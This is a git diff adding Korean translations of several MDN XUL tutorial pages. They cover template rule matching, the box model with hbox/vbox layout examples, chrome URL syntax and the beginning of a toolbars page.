+<p>rule 태그에 놓여진 모든 속성이 일치 조건에 이용됩니다. 이 경우, 북마크 데이터 소스는 separator인가 어떤가를 구별할 수 있듯이 rdf:type 프롭퍼티를 공급하고 있습니다. 이 속성은, RDF 북마크 데이터 소스에 대해, separator에 대한 고유의 값으로 설정됩니다. 이것에 의해 separator가 아닌 것이라는 구별을 붙일 수 있게 됩니다. 동일한 기법은 RDF 의 Description 요소에게 줄 수 있고 있는 임의의 속성에 대해 적용할 수가 있습니다.</p>
+<p>위의 예의 최초의 룰로 주어지고 있는 특별한 URL 값은 separator에게 이용되는 것입니다. 즉, separator에 대해서는 최초의 룰에 따라 16 픽셀의 틈새를 비우는 spacer 요소가 생성됩니다. separator가 아닌 모든 요소에 대해서는 최초의 룰에 일치하지 않고 후의 룰에 따르게 됩니다. 후의 룰에서는 속성이 일절 지정되어 있지 않기 때문에 모든 데이터에 일치하게 됩니다. 이것은 물론, 나머지의 데이터에 대해서 실시하고 싶었던 것입니다.</p>
+<p>하나 더, RDF 네임스페이스( rdf:type )으로부터 속성을 꺼내고 싶었기 때문에 네임스페이스 선언을 window 태그에 부가할 필요가 있었던 것에 깨닫았을 것입니다. 이것을 해 두지 않으면 속성은 XUL 네임스페이스에 포함되는 것이라고 보여져 버립니다. 물론 거기에는 존재하지 않기 때문에, 룰은 합치하지 않게 됩니다. 자기 부담의 네임스페이스의 속성을 이용하는 경우도 룰에 일치시키기 위해서는 이름 공간 선언이 필요하게 됩니다.</p>
+<p>2번째의 룰이 제거되었을 때에 무엇이 일어날까는 상상이 붙겠지요. 그 결과는 다만 separator 1개가 표시되는 것만으로 있어, 북마크는 합치하는 룰이 없기 때문에 표시되지 않습니다.</p>
+<p>간단하게 말하면, rule 요소에 나누어주어진 모든 속성이 RDF 리소스의 대응하는 속성에 일치할 때 룰이 일치한다고 하는 것입니다. RDF 파일의 경우는 리소스는 Description 요소가 됩니다.</p>
+<p>다만, 소수의 예외가 있습니다. 속성 id, rdf:property, rdf:instanceOf 에는 일치시킬 수가 없습니다. 어쨌든, 자기 부담의 속성을 자기 부담의 네임스페이스에서 준비하면 끝나는 것이므로, 문제가 되는 것은 없을 것입니다.</p>
+<p>최초의 룰이 존재하지 않는 템플릿에 대해서는, 실제는 속성을 가지지 않는 다만 하나의 룰이 지정되고 있는 것이라고 되는 것에 주의해 주세요.</p>
+<p>다음절에서는 트리에 대한 템플릿의 이용을 살펴보고 갑니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Introduction_to_RDF" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Trees_and_Templates">다음  »</a></p>
+</div><p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/the_box_model/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/the_box_model/index.html
new file mode 100644
index 0000000000..c5c3d5fa1d
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/the_box_model/index.html
@@ -0,0 +1,118 @@
+---
+title: The Box Model
+slug: Mozilla/Tech/XUL/XUL_Tutorial/The_Box_Model
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/The_Box_Model
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:More_Button_Features" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Element_Positioning">다음  »</a></p>
+</div><p></p>
+<p>이 단원에서는, XUL이 레이아웃을 어떻게 처리하는지에 대해 알아보겠습니다.</p>
+<h3 id=".EC.83.81.EC.9E.90_.EC.86.8C.EA.B0.9C" name=".EC.83.81.EC.9E.90_.EC.86.8C.EA.B0.9C">상자 소개</h3>
+<p>XUL에서 레이아웃의 주된 형식은 '상자모델'이라고 하는 것입니다. 이 모델은 창을 여러개의 상자로 분할 할 수 있도록 해 줍니다. 상자 내부의 요소는 가로 또는 세로 <code id="a-orient(방향)"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/orient(방향)">orient(방향)</a></code>을 가지게 됩니다. 여러개의 상자와 공백, <code><code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></code>속성을 가진 요소들을 묶음으로써, 창의 레이아웃을 제어할 수 있습니다.</p>
+<p>상자는 XUL의 요소들을 배치하기 위해 가장 중요한 부분이지만, 몇 가지 단순한 규칙만을 가집니다. 상자는 가로 또는 세로 두 방향 중 하나의 형태로 자식이 배치되도록 할 수 있습니다. 가로상자는 상자에 포함된 요소를 가로 방향으로 세로 상자는 세로 방향으로 정렬시킵니다. 여러분은 상자를 HTML 테이블의 행 또는 열로 생각하실 수 있습니다. CSS 스타일 속성과 더불어 자식 요소에 사용되는 여러 속성은 자식 요소의 위치와 크기를 정확하게 제어할 수 있게 해 줍니다.</p>
+<h4 id=".EC.83.81.EC.9E.90_.EC.9A.94.EC.86.8C.EB.93.A4" name=".EC.83.81.EC.9E.90_.EC.9A.94.EC.86.8C.EB.93.A4">상자 요소들</h4>
+<p>상자의 기본 구문은 다음과 같습니다.</p>
+<pre>&lt;hbox&gt;
+  &lt;!-- horizontal elements --&gt;
+&lt;/hbox&gt;
+
+&lt;vbox&gt;
+  &lt;!-- vertical elements --&gt;
+&lt;/vbox&gt;
+</pre>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code> 요소는 가로 방향의 상자를 만드는 데 사용됩니다. <code>hbox</code>에 포함되는 요소들은 하나의 행 안에 수평적으로 배치됩니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/vbox" title="vbox">vbox</a></code></code> 요소는 세로 방향의 상자를 만드는 데 사용됩니다. 상자에 추가되는 요소들은 아래쪽으로 배치됩니다.</p>
+<p>또한 가로 방향을 기본으로 하는 기본적인 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> 요소가 존재하는데, 이것은 <code>hbox</code>와 같은 역할을 한다는 의미입니다. 그렇다 하더라도, 상자의 방향을 제어하기 위해서 <code><code id="a-orient"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code></code> 속성을 사용할 수 있습니다. 이 속성을 이용하면 가로 상자를 만들기 위해서는 <code>horizontal</code>값을 세로 상자는 <code>vertical</code>값을 설정하면 됩니다.</p>
+<p>따라서 다음의 두 줄은 동일한 것입니다.</p>
+<pre>&lt;vbox&gt;&lt;/vbox&gt;
+
+&lt;box orient="vertical"&gt;&lt;/box&gt;
+</pre>
+<p>다음의 예제는 3개의 버튼을 세로로 나타내는 방법을 보여주고 있습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_1.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:boxes-ex1.png"></div>
+<pre>&lt;vbox&gt;
+  &lt;button id="yes" label="Yes"/&gt;
+  &lt;button id="no" label="No"/&gt;
+  &lt;button id="maybe" label="Maybe"/&gt;
+&lt;/vbox&gt;
+</pre>
+<p>여기에 있는 3개 버튼은 상자가 지시한 대로 세로 방향으로 배치되어 있습니다. 버튼을 가로 방향으로 배치되도록 하려면 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/vbox" title="vbox">vbox</a></code></code>를 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code>로 변경하기만 하면 됩니다.</p>
+<h4 id=".EB.A1.9C.EA.B7.B8.EC.9D.B8_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90_.EC.98.88.EC.A0.9C" name=".EB.A1.9C.EA.B7.B8.EC.9D.B8_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90_.EC.98.88.EC.A0.9C">로그인 대화상자 예제</h4>
+<p>여러분은 다른 상자를 포함해서 상자내에 원하는데로 많은 요소를 추가할 수 있습니다. 가로 상자의 경우에, 추가되는 요소는 이전 요소의 오른쪽에 놓이게 됩니다. 상자에 포함된 요소들은 다음 줄로 넘어가지 않기 때문에, 요소를 추가하면 창의 너비가 그 만큰 넓어지게 됩니다. 마찬가지로, 세로상자에 추가된 요소는 이전 요소의 아래에 놓이게 됩니다. 아래는 간단한 로그인 대화상자 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_2.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:boxes-ex2.png"></div>
+<pre>&lt;vbox&gt;
+  &lt;hbox&gt;
+    &lt;label control="login" value="Login:"/&gt;
+    &lt;textbox id="login"/&gt;
+  &lt;/hbox&gt;
+  &lt;hbox&gt;
+    &lt;label control="pass" value="Password:"/&gt;
+    &lt;textbox id="pass"/&gt;
+  &lt;/hbox&gt;
+  &lt;button id="ok" label="OK"/&gt;
+  &lt;button id="cancel" label="Cancel"/&gt;
+&lt;/vbox&gt;
+</pre>
+<p>위 예제에서는, 2개의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code> 태그와 2개의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> 요소, 총 4개 요소가 세로 방향으로 배치되어 있습니다. 주의할 것은 상자의 바로 아래 자식 요소만 세로 방향으로 처리된다는 점입니다. 라벨과 글상자는 안쪽 <code>hbox</code> 요소 내부에 있기 때문에, 이들 상자의 방향인 가로 방향에 따라 배치되어 있습니다. 각 라벨과 글상자가 가로 방향으로 배치되어 있는 것을 그림에서 확인하실 수 있습니다.</p>
+<h5 id=".EA.B8.80.EC.83.81.EC.9E.90_.EC.A0.95.EB.A0.AC" name=".EA.B8.80.EC.83.81.EC.9E.90_.EC.A0.95.EB.A0.AC">글상자 정렬</h5>
+<p>로그인 대화상자의 그림을 자세히 보면, 2개의 글상자가 정렬되어 있지 않은 것을 볼 수 있습니다. 아마도 정렬되어 있다면 더 보기 좋을 것입니다. 이 작업을 위해서는 몇 가지 상자를 추가해 주어야 합니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_3.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:boxes-ex3.png"></div>
+<pre>&lt;vbox&gt;
+  &lt;hbox&gt;
+    &lt;vbox&gt;
+      &lt;label control="login" value="Login:"/&gt;
+      &lt;label control="pass" value="Password:"/&gt;
+    &lt;/vbox&gt;
+    &lt;vbox&gt;
+      &lt;textbox id="login"/&gt;
+      &lt;textbox id="pass"/&gt;
+    &lt;/vbox&gt;
+  &lt;/hbox&gt;
+  &lt;button id="ok" label="OK"/&gt;
+  &lt;button id="cancel" label="Cancel"/&gt;
+&lt;/vbox&gt;
+</pre>
+<p>이제 글상자가 어떻게 정렬되었는지 주의깊게 보시기 바랍니다. 이렇게 하기 위해 우리는 주 상자 내에 또 다른 상자를 추가해야 했습니다. 원래는 2개의 라벨과 글상자가 가로 상자 내부에 위치하고 있었습니다. 그런데 이번에는 라벨을 모두 하나의 수직 상자에, 글상자도 모두 하나의 수직 상자에 포함되어 있습니다. 여기서 사용한 수직 상자가 각 요소들을 수직으로 정렬시킵니다. 수평 상자는 라벨을 포함하는 수직 상자와 글상자를 포함하는 수직 상자를 수평적으로 배치하기 위해 사용되었습니다. 만일 이 수평 상자를 없애면 글상자는 모두 라벨의 아래에 위치하게 될 것입니다.</p>
+<p>이제 남은 문제는 'Password' 라벨이 오른쪽에 있는 글상자에 비해 너무 높이 위치해 있다는 점입니다. 이 문제를 해결하려면 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code> 라는 요소를 사용할 수 밖에 없는데, 이에 대해서는 <a href="ko/XUL_Tutorial/Grids">이후 단원</a>에서 배우게 될 것입니다.</p>
+<div class="highlight">
+ <h4 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.B0.BD_.EC.98.88.EC.A0.9C" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.B0.BD_.EC.98.88.EC.A0.9C">우리의 파일 찾기 대화창 예제</h4>
+ <p>파일 찾기 대화창에 몇 가지 상자를 추가해 보겠습니다. 모든 요소를 포함하도록 제일 바깥쪽에 세로 상자를 추가하고, 글상자와 버튼 주변에 가로상자를 추가하겠습니다. 이렇게 하면 버튼이 글상자 아래에 나타나게 될것입니다.</p>
+ <pre class="eval"><span class="highlightred">&lt;vbox flex="1"&gt;
+
+  &lt;description&gt;
+    Enter your search criteria below and select the Find button to begin
+    the search.
+  &lt;/description&gt;
+
+  &lt;hbox&gt;</span>
+    &lt;label value="Search for:" control="find-text"/&gt;
+    &lt;textbox id="find-text"/&gt;
+  <span class="highlightred">&lt;/hbox&gt;
+
+  &lt;hbox&gt;
+    &lt;spacer flex="1"/&gt;</span>
+
+    &lt;button id="find-button" label="Find"/&gt;
+    &lt;button id="cancel-button" label="Cancel"/&gt;
+  <span class="highlightred">&lt;/hbox&gt;
+&lt;/vbox&gt;</span>
+</pre>
+ <div class="float-right">
+  <img alt="Image:boxes1.png"></div>
+ <p><br>
+  세로상자는 메인 텍스트와 글상자를 포함한 상자와 버튼을 포함한 상자를 세로 방향으로 배치되게 해 줍니다. 안쪽의 수평 상자들은 그들이 포함한 요소들을 수평적으로 배치되게 해 줍니다. 그림에서 보듯이, 라벨과 글상자는 나란히 놓여 있습니다. 공백요소와 2개의 버튼 또한 상자에서 가로로 배치되어 있습니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code> 요소가 flex 속성을 지정하고 있기 때문에, 버튼들이 오른쪽에 붙어있다는 점에 주목하세요.</p>
+ <p><span id="%EC%97%AC%ED%83%9C%EA%B9%8C%EC%A7%80%EC%9D%98_%EC%98%88%EC%A0%9C"><a id="%EC%97%AC%ED%83%9C%EA%B9%8C%EC%A7%80%EC%9D%98_%EC%98%88%EC%A0%9C"></a><strong>여태까지의 예제</strong></span>: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxes.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxes.xul">View</a></p>
+</div>
+<p>다음 섹션에서는, <a href="ko/XUL_Tutorial/Element_Positioning">요소들의 크기를 지정하고 크기에 제한을 주는 방법</a>에 대해 알아 보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:More_Button_Features" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Element_Positioning">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/the_chrome_url/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/the_chrome_url/index.html
new file mode 100644
index 0000000000..51136bcd49
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/the_chrome_url/index.html
@@ -0,0 +1,45 @@
+---
+title: The Chrome URL
+slug: Mozilla/Tech/XUL/XUL_Tutorial/The_Chrome_URL
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/The_Chrome_URL
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:XUL_Structure" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Manifest_Files">다음  »</a></p>
+</div><p></p>
+<p>이번 섹션에서는 XUL 문서와 다른 chrome 파일을 참조하는 방법을 설명합니다.</p>
+<h3 id="Chrome_URL" name="Chrome_URL">Chrome URL</h3>
+<p>XUL 파일은 HTML 파일처럼 일반적인 HTTP URL(또는 어떤 형태의 URL이든)로 참조될 수 있습니다. 그러나 Mozilla의 chrome 시스템에 설치된 꾸러미는 특별한 chrome URL로 참조될 수 있습니다. Mozilla에 포함된 꾸러미들은 미리 설치되어 있는 것들이지만 여러분은 여러분의 것을 등록할 수 있습니다.</p>
+<p>설치된 꾸러미는 보안 제한사항에 구애받지 않는다는 장점을 가지는데, 이것은 많은 응용프로그램에 필요한 것입니다. 다른 URL 타입에 대한 또 다른 장점은 이것들이 다중 테마와 로케일을 자동으로 처리한다는 점입니다. 예를 들어 chrome URL은 여러분이 현재 사용중인 테마가 무엇인지 몰라도 테마에 포함된 이미지와 같은 파일을 참조하도록 해 줍니다. 각 테마내 파일 이름이 같다면 여러분은 chrome URL을 이용해서 파일을 참조할 수 있습니다. Mozilla는 파일이 어디에 위치하는지 결정하는데 신경 쓸 것이고 올바른 데이터를 반환할 것입니다. 이는 꾸러미가 이에 접근하기 위해 설치되어 있는 장소에 구애받지 않는다는 것을 의미합니다. Chrome URL은 파일들의 물리적인 위치에 독립적입니다. 이는 파일의 위치와 관련된 많은 부분을 신경 쓰지 않고도 다수의 파일을 가진 응용프로그램을 작성하기 쉽게 만들어 줍니다.</p>
+<p>Chrome URL의 기본 구문은 다음과 같습니다.</p>
+<pre class="eval"><a class="external" rel="freelink">chrome://</a><i>&lt;package name&gt;</i>/<i>&lt;part&gt;</i>/<i>&lt;file.xul&gt;</i>
+</pre>
+<p>&lt;package name&gt;은 messenger나 editor와 같은 꾸러미 이름을 가리킵니다. &lt;part&gt;는 'content', 'skin', 'locale' 중에 하나가 될 수 있으며 여러분이 원하는 것에 따라 달라집니다. 'file.xul'은 그냥 파일 이름입니다.</p>
+<p><b>Example</b>: <a class="external" rel="freelink">chrome://messenger/content/messenger.xul</a></p>
+<p>위의 예제는 메신저 창을 가리킵니다. 여러분은 부분(part)에 해당하는 'content'를 'skin'으로 변경하고 파일명을 바꾸기만 하면 파일을 가리킬 수 있습니다. 비슷하게 'content' 대신 'locale'을 사용하면 로케인 부분의 파일을 가리킬 수 있습니다.</p>
+<p>여러분이 chrome URL을 열면, Mozilla는 설치된 꾸러미 리스트를 조사하여 꾸러미 이름과 부분(part)이 일치하는 JAR 파일이나 디렉토리를 위치시키려고 합니다. Chrome URL과 JAR 파일들간의 연결은 chrome 디렉토리에 저장되어 있는 선언 파일에 명시되어 있습니다. 여러분이 messenger.jar 파일을 다른 곳으로 옮기더라도 선언 파일을 이에 맞게 수정한다면, Thunderbird는 특정 설치 위치에 의존하지 않기 때문에 정상적으로 동작합니다. Chrome URL을 사용함으로써 이와 같은 세부 사항은 Mozilla가 처리하도록 할 수 있습니다. 이와 유사하게, 사용자가 테마를 바꾸더라도 chrome URL의 'skin' 부분이 다른 파일들로 번역되고 따라서 XUL과 스크립트는 수정할 필요가 없게 됩니다.</p>
+<p>아래 몇가지 예제가 있습니다. 어떠한 URL도 어떤 테마나 로케일을 사용하는지 명시하지 않았고 특정 디렉토리 또한 명시되지 않았음을 잘 보세요.</p>
+<pre class="eval"><a class="external" rel="freelink">chrome://messenger/content/messenger.xul</a>
+<a class="external" rel="freelink">chrome://messenger/content/attach.js</a>
+<a class="external" rel="freelink">chrome://messenger/skin/icons/folder-inbox.gif</a>
+<a class="external" rel="freelink">chrome://messenger/locale/messenger.dtd</a>
+</pre>
+<p>하위 디렉토리를 참조하기 위해서는 chrome URL의 끝에 하위 디렉토리를 붙여 주기만 하면 됩니다. 다음 URL들은 북마크 창을 참조하는 것으로 꾸러미 이름이 Mozilla Suite와 Firefox에서 서로 틀리기 때문에 모두 열거하였습니다.</p>
+<pre class="eval"><a class="external" rel="freelink">chrome://communicator/content/bookma...rksManager.xul</a> (Mozilla)
+<a class="external" rel="freelink">chrome://browser/content/bookmarks/b...rksManager.xul</a> (Firefox)
+</pre>
+<p>여러분은 일반적인 URL이 사용되는 어디서나 chrome URL을 사용할 수 있습니다. 여러분은 Mozilla 브라우저 창의 URL 바에도 직접 입력할 수 있습니다. 만일 브라우저의 주소 영역에 위에서 언급한 URL 중의 하나를 입력하면, 웹 페이지가 출력되는 것과 같이 창이 출력되는 것을 보게 될 것이고, 별도의 창인 것처럼 대부분의 기능들이 동작합니다. 그러나 어떤 대화상자들은 올바로 작동하지 않을 수도 있는데 이는 그들이 열릴 때 윈도우에서 특정 인자(argument)를 제공해야 할 필요가 있기 때문일 수도 있습니다.</p>
+<p>여러분은 다음과 같이 파일명을 명시하지 않은 chrome URL을 볼 수도 있습니다.</p>
+<pre class="eval"><a class="external" rel="freelink">chrome://browser/content/</a>
+</pre>
+<p>이 경우에는 꾸러미 이름과 부분(part)만이 명시되어 있습니다. 이런 종류의 참조는 자동으로 올바른 디렉토리에서 적절한 파일이 선택됩니다. Content일 경우에는 꾸러미 이름과 동일한 이름인 xul 확장자를 가진 파일이 선택됩니다. 위의 예제에서는 browser.xul 파일이 선택됩니다. messenger일 경우에는 messenger.xul 파일이 선택될 것입니다. 여러분의 응용 프로그램을 만들 때는 짧은 형태를 사용하여 참조할 수 있도록 메인 윈도우에 해당하는 파일을 꾸러미 이름과 동일하게 만들고자 할 것입니다. 이렇게 하면 사용자는 꾸러미 이름만 알면 되므로 응용프로그램을 여는데 수월해 집니다. 물론, 확장 기능과 같이 브라우저의 인터페이스를 수정하는 경우에는 UI를 통해 자신을 표현하기 때문에 사용자가 URL을 꼭 알 필요가 없습니다.</p>
+<p>스킨인 경우에는 &lt;package name&gt;.css 파일이 선택되고, 로케일에서는 &lt;package name&gt;.dtd가 선택됩니다.</p>
+<p>Chrome URL은 디스크 상의 위치와 관련 없다는 것을 기억하세요. Chrome URL의 앞 두 부분은 꾸러미 이름과 부분(part)(content, skin, locale 중 하나)입니다. 컨텐츠 파일은 보통 'content'라는 디렉토리에 넣지만 이건 관습적인 것일 뿐이고, 이러한 파일들이 완전히 다른 구조에 위치해도 상관없습니다.</p>
+<p>다음 섹션에서는 .manifest 파일과 꾸러미를 어떻게 만드는지 알아볼 것입니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:XUL_Structure" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Manifest_Files">다음  »</a></p>
+</div><p></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/toolbars/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/toolbars/index.html
new file mode 100644
index 0000000000..157184118b
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/toolbars/index.html
@@ -0,0 +1,107 @@
+---
+title: Toolbars
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Toolbars
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Toolbars
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Scroll_Bars" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Simple_Menu_Bars">다음  »</a></p>
+</div><p></p>
+
+<p>툴바(toolbar)는 보통 창의 상단에 위치하면서 일반적인 기능을 수행하는 여러 버튼을 포함합니다. XUL은 툴바를 만드는 방법을 제공합니다.</p>
+
+<h2 id=".ED.88.B4.EB.B0.94_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0" name=".ED.88.B4.EB.B0.94_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0">툴바 추가하기</h2>
+
+<p>다른 요소들처럼 XUL 툴바도 상자 유형 중 하나입니다. 보통 툴바에는 <a href="ko/XUL_Tutorial/Adding_Buttons">버튼</a>들이 놓여지지만, 어떤 요소도 툴바에 놓을 수 있습니다. 예를 들어, Mozilla 브라우저에는 페이지 URL을 표시하는 <a href="ko/XUL_Tutorial/Input_Controls#Text_Entry_Fields">글상자</a>를 포함한 툴바가 있습니다.</p>
+
+<p>툴바는 창내의 가로 혹은 세로 어떤 방향으로도 위치될 수 있습니다. 물론 글상자를 세로 툴바에 두지는 않을 것입니다. 사실 툴바는 그냥 상자이기 때문에 원하는 곳 어디든 위치할 수 있으며, 창의 중앙에도 배치할 수 있습니다. 그러나 대개 툴바들은 창의 상단에 나타나는게 보통입니다. 여러개의 툴바가 순서대로 위치하면, 보통 '툴박스(toolbox)'라고 불리는 것으로 묶게 됩니다.</p>
+
+<p>툴바의 좌측면에는 작은 무늬(notch)가 있는데, 이것을 클릭하면 툴바가 접혀지고 무늬만 보이게 됩니다. 무늬는 '그리피(grippy)'라고도 부릅니다. 여러개의 툴바가 하나의 툴박스 내에 있을때, 그리피들을 클릭하면 한 줄로 닫힙니다. 이렇게 해서 툴바가 사용하는 공간을 줄이게 됩니다. 세로 방향의 툴바는 상단 모서리에 그리피가 있습니다. 일반적으로, 사용자들은 메인 윈도우의 공간을 넓히기 위해 툴바를 닫습니다.</p>
+
+<h5 id="toolbox_.EC.95.88.EC.97.90_.EC.9E.88.EB.8A.94_.EA.B0.84.EB.8B.A8.ED.95.9C_toolbar" name="toolbox_.EC.95.88.EC.97.90_.EC.9E.88.EB.8A.94_.EA.B0.84.EB.8B.A8.ED.95.9C_toolbar"><code>toolbox</code> 안에 있는 간단한 <code>toolbar</code></h5>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_toolbar_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_toolbar_1.xul">View</a></p>
+
+<div class="float-right"><img alt="Image:toolbar1.jpg"></div>
+
+<pre class="brush: xml">&lt;toolbox&gt;
+  &lt;toolbar id="nav-toolbar"&gt;
+    &lt;toolbarbutton label="Back"/&gt;
+    &lt;toolbarbutton label="Forward"/&gt;
+  &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+</pre>
+
+<p>이 예제는 뒤로가기(Back)와 앞으로가기(Forward) 버튼을 가진 툴바를 만듭니다. 하나의 툴바가 툴박스내에 위치하고 있습니다. 툴바와 관련하여 4가지 새로운 태그가 있는데 각 내용은 다음과 같습니다.</p>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></dt>
+ <dd>툴바를 포함하는 상자.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></dt>
+ <dd>버튼과 같은 툴바 아이템을 포함하는 하나의 툴바. 툴바는 왼쪽 혹은 위쪽에 있는 그리피를 사용하여 접을 수 있습니다..</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code></dt>
+ <dd>툴바에 있는 버튼으로 일반 버튼과 동일한 기능을 가지고 있지만 조금 다르게 출력됩니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code></dt>
+ <dd>이 요소는 툴바를 접거나 여는데 사용되는 무늬를 만듭니다. 자동으로 추가되기 때문에 직접 사용할 필요는 없습니다.</dd>
+</dl>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></code>는 실제 툴바를 만드는 메인 요소입니다. 일반적으로 툴바에는 버튼들이 포함되는데 다른 요소들도 넣을 수 있습니다. 툴바는 <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> 속성을 가지는게 좋으며, 그렇지 않으면 접거나 펼칠 수 없게 될 수도 있습니다.</p>
+
+<p>위 예제에서는 단지 한개의 툴바만 작성되었습니다. 첫 번째 툴바 다음에 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></code>요소를 더 추가해서 다중 툴바도 쉽게 만들 수 있습니다.</p>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code>는 툴바의 컨테이너입니다. 일부 응용프로그램에서는 창의 상단에 여러개의 툴바가 있을 것입니다. 이들 모두를 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code> 안에 넣을 수 있습니다.</p>
+
+<p>여러분은 <code>toolbar</code> 요소를 <code>toolbox</code> 안에 넣어야 하는 것은 아닙니다.</p>
+
+<h3 id=".ED.88.B4.EB.B0.95.EC.8A.A4.EC.97.90_.EC.9E.88.EB.8A.94_.EA.B7.B8.EB.A6.AC.ED.94.BC" name=".ED.88.B4.EB.B0.95.EC.8A.A4.EC.97.90_.EC.9E.88.EB.8A.94_.EA.B7.B8.EB.A6.AC.ED.94.BC">툴박스에 있는 그리피</h3>
+
+<div class="note"><b>주의</b>: Firefox에는 <code>toolbargrippy</code> 요소가 없습니다.</div>
+
